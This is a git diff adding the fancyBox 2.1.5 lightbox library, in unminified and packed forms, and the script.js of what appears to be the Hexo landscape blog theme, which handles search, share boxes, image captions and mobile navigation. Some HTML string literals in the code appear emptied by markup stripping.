+ }, + + zoomOut: function () { + var current = F.current, + effect = current.closeEffect, + elastic = effect === 'elastic', + endPos = {opacity : 0.1}; + + if (elastic) { + endPos = this.getOrigPosition(); + + if (current.closeOpacity) { + endPos.opacity = 0.1; + } + } + + F.wrap.animate(endPos, { + duration : effect === 'none' ? 0 : current.closeSpeed, + easing : current.closeEasing, + step : elastic ? this.step : null, + complete : F._afterZoomOut + }); + }, + + changeIn: function () { + var current = F.current, + effect = current.nextEffect, + startPos = current.pos, + endPos = { opacity : 1 }, + direction = F.direction, + distance = 200, + field; + + startPos.opacity = 0.1; + + if (effect === 'elastic') { + field = direction === 'down' || direction === 'up' ? 'top' : 'left'; + + if (direction === 'down' || direction === 'right') { + startPos[ field ] = getValue(getScalar(startPos[ field ]) - distance); + endPos[ field ] = '+=' + distance + 'px'; + + } else { + startPos[ field ] = getValue(getScalar(startPos[ field ]) + distance); + endPos[ field ] = '-=' + distance + 'px'; + } + } + + // Workaround for http://bugs.jquery.com/ticket/12273 + if (effect === 'none') { + F._afterZoomIn(); + + } else { + F.wrap.css(startPos).animate(endPos, { + duration : current.nextSpeed, + easing : current.nextEasing, + complete : F._afterZoomIn + }); + } + }, + + changeOut: function () { + var previous = F.previous, + effect = previous.prevEffect, + endPos = { opacity : 0.1 }, + direction = F.direction, + distance = 200; + + if (effect === 'elastic') { + endPos[ direction === 'down' || direction === 'up' ? 'top' : 'left' ] = ( direction === 'up' || direction === 'left' ? '-' : '+' ) + '=' + distance + 'px'; + } + + previous.wrap.animate(endPos, { + duration : effect === 'none' ? 0 : previous.prevSpeed, + easing : previous.prevEasing, + complete : function () { + $(this).trigger('onReset').remove(); + } + }); + } + }; + + /* + * Overlay helper + */ + + F.helpers.overlay = { + defaults : { + closeClick : true, // if true, fancyBox will be closed when user clicks on the overlay + speedOut : 200, // duration of fadeOut animation + showEarly : true, // indicates if should be opened immediately or wait until the content is ready + css : {}, // custom CSS properties + locked : !isTouch, // if true, the content will be locked into overlay + fixed : true // if false, the overlay CSS position property will not be set to "fixed" + }, + + overlay : null, // current handle + fixed : false, // indicates if the overlay has position "fixed" + el : $('html'), // element that contains "the lock" + + // Public methods + create : function(opts) { + var parent; + + opts = $.extend({}, this.defaults, opts); + + if (this.overlay) { + this.close(); + } + + parent = F.coming ? F.coming.parent : opts.parent; + + this.overlay = $('
    ').appendTo( parent && parent.lenth ? parent : 'body' ); + this.fixed = false; + + if (opts.fixed && F.defaults.fixed) { + this.overlay.addClass('fancybox-overlay-fixed'); + + this.fixed = true; + } + }, + + open : function(opts) { + var that = this; + + opts = $.extend({}, this.defaults, opts); + + if (this.overlay) { + this.overlay.unbind('.overlay').width('auto').height('auto'); + + } else { + this.create(opts); + } + + if (!this.fixed) { + W.bind('resize.overlay', $.proxy( this.update, this) ); + + this.update(); + } + + if (opts.closeClick) { + this.overlay.bind('click.overlay', function(e) { + if ($(e.target).hasClass('fancybox-overlay')) { + if (F.isActive) { + F.close(); + } else { + that.close(); + } + + return false; + } + }); + } + + this.overlay.css( opts.css ).show(); + }, + + close : function() { + W.unbind('resize.overlay'); + + if (this.el.hasClass('fancybox-lock')) { + $('.fancybox-margin').removeClass('fancybox-margin'); + + this.el.removeClass('fancybox-lock'); + + W.scrollTop( this.scrollV ).scrollLeft( this.scrollH ); + } + + $('.fancybox-overlay').remove().hide(); + + $.extend(this, { + overlay : null, + fixed : false + }); + }, + + // Private, callbacks + + update : function () { + var width = '100%', offsetWidth; + + // Reset width/height so it will not mess + this.overlay.width(width).height('100%'); + + // jQuery does not return reliable result for IE + if (IE) { + offsetWidth = Math.max(document.documentElement.offsetWidth, document.body.offsetWidth); + + if (D.width() > offsetWidth) { + width = D.width(); + } + + } else if (D.width() > W.width()) { + width = D.width(); + } + + this.overlay.width(width).height(D.height()); + }, + + // This is where we can manipulate DOM, because later it would cause iframes to reload + onReady : function (opts, obj) { + var overlay = this.overlay; + + $('.fancybox-overlay').stop(true, true); + + if (!overlay) { + this.create(opts); + } + + if (opts.locked && this.fixed && obj.fixed) { + obj.locked = this.overlay.append( obj.wrap ); + obj.fixed = false; + } + + if (opts.showEarly === true) { + this.beforeShow.apply(this, arguments); + } + }, + + beforeShow : function(opts, obj) { + if (obj.locked && !this.el.hasClass('fancybox-lock')) { + if (this.fixPosition !== false) { + $('*').filter(function(){ + return ($(this).css('position') === 'fixed' && !$(this).hasClass("fancybox-overlay") && !$(this).hasClass("fancybox-wrap") ); + }).addClass('fancybox-margin'); + } + + this.el.addClass('fancybox-margin'); + + this.scrollV = W.scrollTop(); + this.scrollH = W.scrollLeft(); + + this.el.addClass('fancybox-lock'); + + W.scrollTop( this.scrollV ).scrollLeft( this.scrollH ); + } + + this.open(opts); + }, + + onUpdate : function() { + if (!this.fixed) { + this.update(); + } + }, + + afterClose: function (opts) { + // Remove overlay if exists and fancyBox is not opening + // (e.g., it is not being open using afterClose callback) + if (this.overlay && !F.coming) { + this.overlay.fadeOut(opts.speedOut, $.proxy( this.close, this )); + } + } + }; + + /* + * Title helper + */ + + F.helpers.title = { + defaults : { + type : 'float', // 'float', 'inside', 'outside' or 'over', + position : 'bottom' // 'top' or 'bottom' + }, + + beforeShow: function (opts) { + var current = F.current, + text = current.title, + type = opts.type, + title, + target; + + if ($.isFunction(text)) { + text = text.call(current.element, current); + } + + if (!isString(text) || $.trim(text) === '') { + return; + } + + title = $('
    ' + text + '
    '); + + switch (type) { + case 'inside': + target = F.skin; + break; + + case 'outside': + target = F.wrap; + break; + + case 'over': + target = F.inner; + break; + + default: // 'float' + target = F.skin; + + title.appendTo('body'); + + if (IE) { + title.width( title.width() ); + } + + title.wrapInner(''); + + //Increase bottom margin so this title will also fit into viewport + F.current.margin[2] += Math.abs( getScalar(title.css('margin-bottom')) ); + break; + } + + title[ (opts.position === 'top' ? 'prependTo' : 'appendTo') ](target); + } + }; + + // jQuery plugin initialization + $.fn.fancybox = function (options) { + var index, + that = $(this), + selector = this.selector || '', + run = function(e) { + var what = $(this).blur(), idx = index, relType, relVal; + + if (!(e.ctrlKey || e.altKey || e.shiftKey || e.metaKey) && !what.is('.fancybox-wrap')) { + relType = options.groupAttr || 'data-fancybox-group'; + relVal = what.attr(relType); + + if (!relVal) { + relType = 'rel'; + relVal = what.get(0)[ relType ]; + } + + if (relVal && relVal !== '' && relVal !== 'nofollow') { + what = selector.length ? $(selector) : that; + what = what.filter('[' + relType + '="' + relVal + '"]'); + idx = what.index(this); + } + + options.index = idx; + + // Stop an event from bubbling if everything is fine + if (F.open(what, options) !== false) { + e.preventDefault(); + } + } + }; + + options = options || {}; + index = options.index || 0; + + if (!selector || options.live === false) { + that.unbind('click.fb-start').bind('click.fb-start', run); + + } else { + D.undelegate(selector, 'click.fb-start').delegate(selector + ":not('.fancybox-item, .fancybox-nav')", 'click.fb-start', run); + } + + this.filter('[data-fancybox-start=1]').trigger('click'); + + return this; + }; + + // Tests that need a body at doc ready + D.ready(function() { + var w1, w2; + + if ( $.scrollbarWidth === undefined ) { + // http://benalman.com/projects/jquery-misc-plugins/#scrollbarwidth + $.scrollbarWidth = function() { + var parent = $('
    ').appendTo('body'), + child = parent.children(), + width = child.innerWidth() - child.height( 99 ).innerWidth(); + + parent.remove(); + + return width; + }; + } + + if ( $.support.fixedPosition === undefined ) { + $.support.fixedPosition = (function() { + var elem = $('
    ').appendTo('body'), + fixed = ( elem[0].offsetTop === 20 || elem[0].offsetTop === 15 ); + + elem.remove(); + + return fixed; + }()); + } + + $.extend(F.defaults, { + scrollbarWidth : $.scrollbarWidth(), + fixed : $.support.fixedPosition, + parent : $('body') + }); + + //Get real width of page scroll-bar + w1 = $(window).width(); + + H.addClass('fancybox-lock-test'); + + w2 = $(window).width(); + + H.removeClass('fancybox-lock-test'); + + $("").appendTo("head"); + }); + +}(window, document, jQuery)); \ No newline at end of file diff --git a/themes/landscape/source/fancybox/jquery.fancybox.pack.js b/themes/landscape/source/fancybox/jquery.fancybox.pack.js new file mode 100644 index 0000000..2db1280 --- /dev/null +++ b/themes/landscape/source/fancybox/jquery.fancybox.pack.js @@ -0,0 +1,46 @@ +/*! fancyBox v2.1.5 fancyapps.com | fancyapps.com/fancybox/#license */ +(function(s,H,f,w){var K=f("html"),q=f(s),p=f(H),b=f.fancybox=function(){b.open.apply(this,arguments)},J=navigator.userAgent.match(/msie/i),C=null,t=H.createTouch!==w,u=function(a){return a&&a.hasOwnProperty&&a instanceof f},r=function(a){return a&&"string"===f.type(a)},F=function(a){return r(a)&&0
    ',image:'',iframe:'",error:'

    The requested content cannot be loaded.
    Please try again later.

    ',closeBtn:'',next:'',prev:''},openEffect:"fade",openSpeed:250,openEasing:"swing",openOpacity:!0, +openMethod:"zoomIn",closeEffect:"fade",closeSpeed:250,closeEasing:"swing",closeOpacity:!0,closeMethod:"zoomOut",nextEffect:"elastic",nextSpeed:250,nextEasing:"swing",nextMethod:"changeIn",prevEffect:"elastic",prevSpeed:250,prevEasing:"swing",prevMethod:"changeOut",helpers:{overlay:!0,title:!0},onCancel:f.noop,beforeLoad:f.noop,afterLoad:f.noop,beforeShow:f.noop,afterShow:f.noop,beforeChange:f.noop,beforeClose:f.noop,afterClose:f.noop},group:{},opts:{},previous:null,coming:null,current:null,isActive:!1, +isOpen:!1,isOpened:!1,wrap:null,skin:null,outer:null,inner:null,player:{timer:null,isActive:!1},ajaxLoad:null,imgPreload:null,transitions:{},helpers:{},open:function(a,d){if(a&&(f.isPlainObject(d)||(d={}),!1!==b.close(!0)))return f.isArray(a)||(a=u(a)?f(a).get():[a]),f.each(a,function(e,c){var l={},g,h,k,n,m;"object"===f.type(c)&&(c.nodeType&&(c=f(c)),u(c)?(l={href:c.data("fancybox-href")||c.attr("href"),title:f("
    ").text(c.data("fancybox-title")||c.attr("title")).html(),isDom:!0,element:c}, +f.metadata&&f.extend(!0,l,c.metadata())):l=c);g=d.href||l.href||(r(c)?c:null);h=d.title!==w?d.title:l.title||"";n=(k=d.content||l.content)?"html":d.type||l.type;!n&&l.isDom&&(n=c.data("fancybox-type"),n||(n=(n=c.prop("class").match(/fancybox\.(\w+)/))?n[1]:null));r(g)&&(n||(b.isImage(g)?n="image":b.isSWF(g)?n="swf":"#"===g.charAt(0)?n="inline":r(c)&&(n="html",k=c)),"ajax"===n&&(m=g.split(/\s+/,2),g=m.shift(),m=m.shift()));k||("inline"===n?g?k=f(r(g)?g.replace(/.*(?=#[^\s]+$)/,""):g):l.isDom&&(k=c): +"html"===n?k=g:n||g||!l.isDom||(n="inline",k=c));f.extend(l,{href:g,type:n,content:k,title:h,selector:m});a[e]=l}),b.opts=f.extend(!0,{},b.defaults,d),d.keys!==w&&(b.opts.keys=d.keys?f.extend({},b.defaults.keys,d.keys):!1),b.group=a,b._start(b.opts.index)},cancel:function(){var a=b.coming;a&&!1===b.trigger("onCancel")||(b.hideLoading(),a&&(b.ajaxLoad&&b.ajaxLoad.abort(),b.ajaxLoad=null,b.imgPreload&&(b.imgPreload.onload=b.imgPreload.onerror=null),a.wrap&&a.wrap.stop(!0,!0).trigger("onReset").remove(), +b.coming=null,b.current||b._afterZoomOut(a)))},close:function(a){b.cancel();!1!==b.trigger("beforeClose")&&(b.unbindEvents(),b.isActive&&(b.isOpen&&!0!==a?(b.isOpen=b.isOpened=!1,b.isClosing=!0,f(".fancybox-item, .fancybox-nav").remove(),b.wrap.stop(!0,!0).removeClass("fancybox-opened"),b.transitions[b.current.closeMethod]()):(f(".fancybox-wrap").stop(!0).trigger("onReset").remove(),b._afterZoomOut())))},play:function(a){var d=function(){clearTimeout(b.player.timer)},e=function(){d();b.current&&b.player.isActive&& +(b.player.timer=setTimeout(b.next,b.current.playSpeed))},c=function(){d();p.unbind(".player");b.player.isActive=!1;b.trigger("onPlayEnd")};!0===a||!b.player.isActive&&!1!==a?b.current&&(b.current.loop||b.current.index=c.index?"next":"prev"],b.router=e||"jumpto",c.loop&&(0>a&&(a=c.group.length+a%c.group.length),a%=c.group.length),c.group[a]!==w&&(b.cancel(),b._start(a)))},reposition:function(a,d){var e=b.current,c=e?e.wrap:null,l;c&&(l=b._getPosition(d),a&&"scroll"===a.type?(delete l.position,c.stop(!0,!0).animate(l,200)):(c.css(l),e.pos=f.extend({},e.dim,l)))}, +update:function(a){var d=a&&a.originalEvent&&a.originalEvent.type,e=!d||"orientationchange"===d;e&&(clearTimeout(C),C=null);b.isOpen&&!C&&(C=setTimeout(function(){var c=b.current;c&&!b.isClosing&&(b.wrap.removeClass("fancybox-tmp"),(e||"load"===d||"resize"===d&&c.autoResize)&&b._setDimension(),"scroll"===d&&c.canShrink||b.reposition(a),b.trigger("onUpdate"),C=null)},e&&!t?0:300))},toggle:function(a){b.isOpen&&(b.current.fitToView="boolean"===f.type(a)?a:!b.current.fitToView,t&&(b.wrap.removeAttr("style").addClass("fancybox-tmp"), +b.trigger("onUpdate")),b.update())},hideLoading:function(){p.unbind(".loading");f("#fancybox-loading").remove()},showLoading:function(){var a,d;b.hideLoading();a=f('
    ').click(b.cancel).appendTo("body");p.bind("keydown.loading",function(a){27===(a.which||a.keyCode)&&(a.preventDefault(),b.cancel())});b.defaults.fixed||(d=b.getViewport(),a.css({position:"absolute",top:0.5*d.h+d.y,left:0.5*d.w+d.x}));b.trigger("onLoading")},getViewport:function(){var a=b.current&& +b.current.locked||!1,d={x:q.scrollLeft(),y:q.scrollTop()};a&&a.length?(d.w=a[0].clientWidth,d.h=a[0].clientHeight):(d.w=t&&s.innerWidth?s.innerWidth:q.width(),d.h=t&&s.innerHeight?s.innerHeight:q.height());return d},unbindEvents:function(){b.wrap&&u(b.wrap)&&b.wrap.unbind(".fb");p.unbind(".fb");q.unbind(".fb")},bindEvents:function(){var a=b.current,d;a&&(q.bind("orientationchange.fb"+(t?"":" resize.fb")+(a.autoCenter&&!a.locked?" scroll.fb":""),b.update),(d=a.keys)&&p.bind("keydown.fb",function(e){var c= +e.which||e.keyCode,l=e.target||e.srcElement;if(27===c&&b.coming)return!1;e.ctrlKey||e.altKey||e.shiftKey||e.metaKey||l&&(l.type||f(l).is("[contenteditable]"))||f.each(d,function(d,l){if(1h[0].clientWidth||h[0].clientHeight&&h[0].scrollHeight>h[0].clientHeight),h=f(h).parent();0!==c&&!k&&1g||0>l)&&b.next(0>g?"up":"right"),d.preventDefault())}))},trigger:function(a,d){var e,c=d||b.coming||b.current;if(c){f.isFunction(c[a])&&(e=c[a].apply(c,Array.prototype.slice.call(arguments,1)));if(!1===e)return!1;c.helpers&&f.each(c.helpers,function(d,e){if(e&& +b.helpers[d]&&f.isFunction(b.helpers[d][a]))b.helpers[d][a](f.extend(!0,{},b.helpers[d].defaults,e),c)})}p.trigger(a)},isImage:function(a){return r(a)&&a.match(/(^data:image\/.*,)|(\.(jp(e|g|eg)|gif|png|bmp|webp|svg)((\?|#).*)?$)/i)},isSWF:function(a){return r(a)&&a.match(/\.(swf)((\?|#).*)?$/i)},_start:function(a){var d={},e,c;a=m(a);e=b.group[a]||null;if(!e)return!1;d=f.extend(!0,{},b.opts,e);e=d.margin;c=d.padding;"number"===f.type(e)&&(d.margin=[e,e,e,e]);"number"===f.type(c)&&(d.padding=[c,c, +c,c]);d.modal&&f.extend(!0,d,{closeBtn:!1,closeClick:!1,nextClick:!1,arrows:!1,mouseWheel:!1,keys:null,helpers:{overlay:{closeClick:!1}}});d.autoSize&&(d.autoWidth=d.autoHeight=!0);"auto"===d.width&&(d.autoWidth=!0);"auto"===d.height&&(d.autoHeight=!0);d.group=b.group;d.index=a;b.coming=d;if(!1===b.trigger("beforeLoad"))b.coming=null;else{c=d.type;e=d.href;if(!c)return b.coming=null,b.current&&b.router&&"jumpto"!==b.router?(b.current.index=a,b[b.router](b.direction)):!1;b.isActive=!0;if("image"=== +c||"swf"===c)d.autoHeight=d.autoWidth=!1,d.scrolling="visible";"image"===c&&(d.aspectRatio=!0);"iframe"===c&&t&&(d.scrolling="scroll");d.wrap=f(d.tpl.wrap).addClass("fancybox-"+(t?"mobile":"desktop")+" fancybox-type-"+c+" fancybox-tmp "+d.wrapCSS).appendTo(d.parent||"body");f.extend(d,{skin:f(".fancybox-skin",d.wrap),outer:f(".fancybox-outer",d.wrap),inner:f(".fancybox-inner",d.wrap)});f.each(["Top","Right","Bottom","Left"],function(a,b){d.skin.css("padding"+b,x(d.padding[a]))});b.trigger("onReady"); +if("inline"===c||"html"===c){if(!d.content||!d.content.length)return b._error("content")}else if(!e)return b._error("href");"image"===c?b._loadImage():"ajax"===c?b._loadAjax():"iframe"===c?b._loadIframe():b._afterLoad()}},_error:function(a){f.extend(b.coming,{type:"html",autoWidth:!0,autoHeight:!0,minWidth:0,minHeight:0,scrolling:"no",hasError:a,content:b.coming.tpl.error});b._afterLoad()},_loadImage:function(){var a=b.imgPreload=new Image;a.onload=function(){this.onload=this.onerror=null;b.coming.width= +this.width/b.opts.pixelRatio;b.coming.height=this.height/b.opts.pixelRatio;b._afterLoad()};a.onerror=function(){this.onload=this.onerror=null;b._error("image")};a.src=b.coming.href;!0!==a.complete&&b.showLoading()},_loadAjax:function(){var a=b.coming;b.showLoading();b.ajaxLoad=f.ajax(f.extend({},a.ajax,{url:a.href,error:function(a,e){b.coming&&"abort"!==e?b._error("ajax",a):b.hideLoading()},success:function(d,e){"success"===e&&(a.content=d,b._afterLoad())}}))},_loadIframe:function(){var a=b.coming, +d=f(a.tpl.iframe.replace(/\{rnd\}/g,(new Date).getTime())).attr("scrolling",t?"auto":a.iframe.scrolling).attr("src",a.href);f(a.wrap).bind("onReset",function(){try{f(this).find("iframe").hide().attr("src","//about:blank").end().empty()}catch(a){}});a.iframe.preload&&(b.showLoading(),d.one("load",function(){f(this).data("ready",1);t||f(this).bind("load.fb",b.update);f(this).parents(".fancybox-wrap").width("100%").removeClass("fancybox-tmp").show();b._afterLoad()}));a.content=d.appendTo(a.inner);a.iframe.preload|| +b._afterLoad()},_preloadImages:function(){var a=b.group,d=b.current,e=a.length,c=d.preload?Math.min(d.preload,e-1):0,f,g;for(g=1;g<=c;g+=1)f=a[(d.index+g)%e],"image"===f.type&&f.href&&((new Image).src=f.href)},_afterLoad:function(){var a=b.coming,d=b.current,e,c,l,g,h;b.hideLoading();if(a&&!1!==b.isActive)if(!1===b.trigger("afterLoad",a,d))a.wrap.stop(!0).trigger("onReset").remove(),b.coming=null;else{d&&(b.trigger("beforeChange",d),d.wrap.stop(!0).removeClass("fancybox-opened").find(".fancybox-item, .fancybox-nav").remove()); +b.unbindEvents();e=a.content;c=a.type;l=a.scrolling;f.extend(b,{wrap:a.wrap,skin:a.skin,outer:a.outer,inner:a.inner,current:a,previous:d});g=a.href;switch(c){case "inline":case "ajax":case "html":a.selector?e=f("
    ").html(e).find(a.selector):u(e)&&(e.data("fancybox-placeholder")||e.data("fancybox-placeholder",f('
    ').insertAfter(e).hide()),e=e.show().detach(),a.wrap.bind("onReset",function(){f(this).find(e).length&&e.hide().replaceAll(e.data("fancybox-placeholder")).data("fancybox-placeholder", +!1)}));break;case "image":e=a.tpl.image.replace(/\{href\}/g,g);break;case "swf":e='',h="",f.each(a.swf,function(a,b){e+='';h+=" "+a+'="'+b+'"'}),e+='"}u(e)&&e.parent().is(a.inner)||a.inner.append(e);b.trigger("beforeShow"); +a.inner.css("overflow","yes"===l?"scroll":"no"===l?"hidden":l);b._setDimension();b.reposition();b.isOpen=!1;b.coming=null;b.bindEvents();if(!b.isOpened)f(".fancybox-wrap").not(a.wrap).stop(!0).trigger("onReset").remove();else if(d.prevMethod)b.transitions[d.prevMethod]();b.transitions[b.isOpened?a.nextMethod:a.openMethod]();b._preloadImages()}},_setDimension:function(){var a=b.getViewport(),d=0,e=!1,c=!1,e=b.wrap,l=b.skin,g=b.inner,h=b.current,c=h.width,k=h.height,n=h.minWidth,v=h.minHeight,p=h.maxWidth, +q=h.maxHeight,t=h.scrolling,r=h.scrollOutside?h.scrollbarWidth:0,y=h.margin,z=m(y[1]+y[3]),s=m(y[0]+y[2]),w,A,u,D,B,G,C,E,I;e.add(l).add(g).width("auto").height("auto").removeClass("fancybox-tmp");y=m(l.outerWidth(!0)-l.width());w=m(l.outerHeight(!0)-l.height());A=z+y;u=s+w;D=F(c)?(a.w-A)*m(c)/100:c;B=F(k)?(a.h-u)*m(k)/100:k;if("iframe"===h.type){if(I=h.content,h.autoHeight&&1===I.data("ready"))try{I[0].contentWindow.document.location&&(g.width(D).height(9999),G=I.contents().find("body"),r&&G.css("overflow-x", +"hidden"),B=G.outerHeight(!0))}catch(H){}}else if(h.autoWidth||h.autoHeight)g.addClass("fancybox-tmp"),h.autoWidth||g.width(D),h.autoHeight||g.height(B),h.autoWidth&&(D=g.width()),h.autoHeight&&(B=g.height()),g.removeClass("fancybox-tmp");c=m(D);k=m(B);E=D/B;n=m(F(n)?m(n,"w")-A:n);p=m(F(p)?m(p,"w")-A:p);v=m(F(v)?m(v,"h")-u:v);q=m(F(q)?m(q,"h")-u:q);G=p;C=q;h.fitToView&&(p=Math.min(a.w-A,p),q=Math.min(a.h-u,q));A=a.w-z;s=a.h-s;h.aspectRatio?(c>p&&(c=p,k=m(c/E)),k>q&&(k=q,c=m(k*E)),cA||z>s)&&c>n&&k>v&&!(19p&&(c=p,k=m(c/E)),g.width(c).height(k),e.width(c+y),a=e.width(),z=e.height();else c=Math.max(n,Math.min(c,c-(a-A))),k=Math.max(v,Math.min(k,k-(z-s)));r&&"auto"===t&&kA||z>s)&&c>n&&k>v;c=h.aspectRatio?cv&&k
    ').appendTo(d&&d.lenth?d:"body");this.fixed=!1;a.fixed&&b.defaults.fixed&&(this.overlay.addClass("fancybox-overlay-fixed"),this.fixed=!0)},open:function(a){var d=this;a=f.extend({},this.defaults,a);this.overlay?this.overlay.unbind(".overlay").width("auto").height("auto"):this.create(a);this.fixed||(q.bind("resize.overlay",f.proxy(this.update,this)),this.update());a.closeClick&&this.overlay.bind("click.overlay", +function(a){if(f(a.target).hasClass("fancybox-overlay"))return b.isActive?b.close():d.close(),!1});this.overlay.css(a.css).show()},close:function(){q.unbind("resize.overlay");this.el.hasClass("fancybox-lock")&&(f(".fancybox-margin").removeClass("fancybox-margin"),this.el.removeClass("fancybox-lock"),q.scrollTop(this.scrollV).scrollLeft(this.scrollH));f(".fancybox-overlay").remove().hide();f.extend(this,{overlay:null,fixed:!1})},update:function(){var a="100%",b;this.overlay.width(a).height("100%"); +J?(b=Math.max(H.documentElement.offsetWidth,H.body.offsetWidth),p.width()>b&&(a=p.width())):p.width()>q.width()&&(a=p.width());this.overlay.width(a).height(p.height())},onReady:function(a,b){var e=this.overlay;f(".fancybox-overlay").stop(!0,!0);e||this.create(a);a.locked&&this.fixed&&b.fixed&&(b.locked=this.overlay.append(b.wrap),b.fixed=!1);!0===a.showEarly&&this.beforeShow.apply(this,arguments)},beforeShow:function(a,b){b.locked&&!this.el.hasClass("fancybox-lock")&&(!1!==this.fixPosition&&f("*").filter(function(){return"fixed"=== +f(this).css("position")&&!f(this).hasClass("fancybox-overlay")&&!f(this).hasClass("fancybox-wrap")}).addClass("fancybox-margin"),this.el.addClass("fancybox-margin"),this.scrollV=q.scrollTop(),this.scrollH=q.scrollLeft(),this.el.addClass("fancybox-lock"),q.scrollTop(this.scrollV).scrollLeft(this.scrollH));this.open(a)},onUpdate:function(){this.fixed||this.update()},afterClose:function(a){this.overlay&&!b.coming&&this.overlay.fadeOut(a.speedOut,f.proxy(this.close,this))}};b.helpers.title={defaults:{type:"float", +position:"bottom"},beforeShow:function(a){var d=b.current,e=d.title,c=a.type;f.isFunction(e)&&(e=e.call(d.element,d));if(r(e)&&""!==f.trim(e)){d=f('
    '+e+"
    ");switch(c){case "inside":c=b.skin;break;case "outside":c=b.wrap;break;case "over":c=b.inner;break;default:c=b.skin,d.appendTo("body"),J&&d.width(d.width()),d.wrapInner(''),b.current.margin[2]+=Math.abs(m(d.css("margin-bottom")))}d["top"===a.position?"prependTo": +"appendTo"](c)}}};f.fn.fancybox=function(a){var d,e=f(this),c=this.selector||"",l=function(g){var h=f(this).blur(),k=d,l,m;g.ctrlKey||g.altKey||g.shiftKey||g.metaKey||h.is(".fancybox-wrap")||(l=a.groupAttr||"data-fancybox-group",m=h.attr(l),m||(l="rel",m=h.get(0)[l]),m&&""!==m&&"nofollow"!==m&&(h=c.length?f(c):e,h=h.filter("["+l+'="'+m+'"]'),k=h.index(this)),a.index=k,!1!==b.open(h,a)&&g.preventDefault())};a=a||{};d=a.index||0;c&&!1!==a.live?p.undelegate(c,"click.fb-start").delegate(c+":not('.fancybox-item, .fancybox-nav')", +"click.fb-start",l):e.unbind("click.fb-start").bind("click.fb-start",l);this.filter("[data-fancybox-start=1]").trigger("click");return this};p.ready(function(){var a,d;f.scrollbarWidth===w&&(f.scrollbarWidth=function(){var a=f('
    ').appendTo("body"),b=a.children(),b=b.innerWidth()-b.height(99).innerWidth();a.remove();return b});f.support.fixedPosition===w&&(f.support.fixedPosition=function(){var a=f('
    ').appendTo("body"), +b=20===a[0].offsetTop||15===a[0].offsetTop;a.remove();return b}());f.extend(b.defaults,{scrollbarWidth:f.scrollbarWidth(),fixed:f.support.fixedPosition,parent:f("body")});a=f(s).width();K.addClass("fancybox-lock-test");d=f(s).width();K.removeClass("fancybox-lock-test");f("").appendTo("head")})})(window,document,jQuery); \ No newline at end of file diff --git a/themes/landscape/source/js/script.js b/themes/landscape/source/js/script.js new file mode 100644 index 0000000..1e58767 --- /dev/null +++ b/themes/landscape/source/js/script.js @@ -0,0 +1,137 @@ +(function($){ + // Search + var $searchWrap = $('#search-form-wrap'), + isSearchAnim = false, + searchAnimDuration = 200; + + var startSearchAnim = function(){ + isSearchAnim = true; + }; + + var stopSearchAnim = function(callback){ + setTimeout(function(){ + isSearchAnim = false; + callback && callback(); + }, searchAnimDuration); + }; + + $('#nav-search-btn').on('click', function(){ + if (isSearchAnim) return; + + startSearchAnim(); + $searchWrap.addClass('on'); + stopSearchAnim(function(){ + $('.search-form-input').focus(); + }); + }); + + $('.search-form-input').on('blur', function(){ + startSearchAnim(); + $searchWrap.removeClass('on'); + stopSearchAnim(); + }); + + // Share + $('body').on('click', function(){ + $('.article-share-box.on').removeClass('on'); + }).on('click', '.article-share-link', function(e){ + e.stopPropagation(); + + var $this = $(this), + url = $this.attr('data-url'), + encodedUrl = encodeURIComponent(url), + id = 'article-share-box-' + $this.attr('data-id'), + offset = $this.offset(); + + if ($('#' + id).length){ + var box = $('#' + id); + + if (box.hasClass('on')){ + box.removeClass('on'); + return; + } + } else { + var html = [ + '
    ', + '', + '
    ', + '', + '', + '', + '', + '
    ', + '
    ' + ].join(''); + + var box = $(html); + + $('body').append(box); + } + + $('.article-share-box.on').hide(); + + box.css({ + top: offset.top + 25, + left: offset.left + }).addClass('on'); + }).on('click', '.article-share-box', function(e){ + e.stopPropagation(); + }).on('click', '.article-share-box-input', function(){ + $(this).select(); + }).on('click', '.article-share-box-link', function(e){ + e.preventDefault(); + e.stopPropagation(); + + window.open(this.href, 'article-share-box-window-' + Date.now(), 'width=500,height=450'); + }); + + // Caption + $('.article-entry').each(function(i){ + $(this).find('img').each(function(){ + if ($(this).parent().hasClass('fancybox')) return; + + var alt = this.alt; + + if (alt) $(this).after('' + alt + ''); + + $(this).wrap(''); + }); + + $(this).find('.fancybox').each(function(){ + $(this).attr('rel', 'article' + i); + }); + }); + + if ($.fancybox){ + $('.fancybox').fancybox(); + } + + // Mobile nav + var $container = $('#container'), + isMobileNavAnim = false, + mobileNavAnimDuration = 200; + + var startMobileNavAnim = function(){ + isMobileNavAnim = true; + }; + + var stopMobileNavAnim = function(){ + setTimeout(function(){ + isMobileNavAnim = false; + }, mobileNavAnimDuration); + } + + $('#main-nav-toggle').on('click', function(){ + if (isMobileNavAnim) return; + + startMobileNavAnim(); + $container.toggleClass('mobile-nav-on'); + stopMobileNavAnim(); + }); + + $('#wrap').on('click', function(){ + if (isMobileNavAnim || !$container.hasClass('mobile-nav-on')) return; + + $container.removeClass('mobile-nav-on'); + }); +})(jQuery); \ No newline at end of file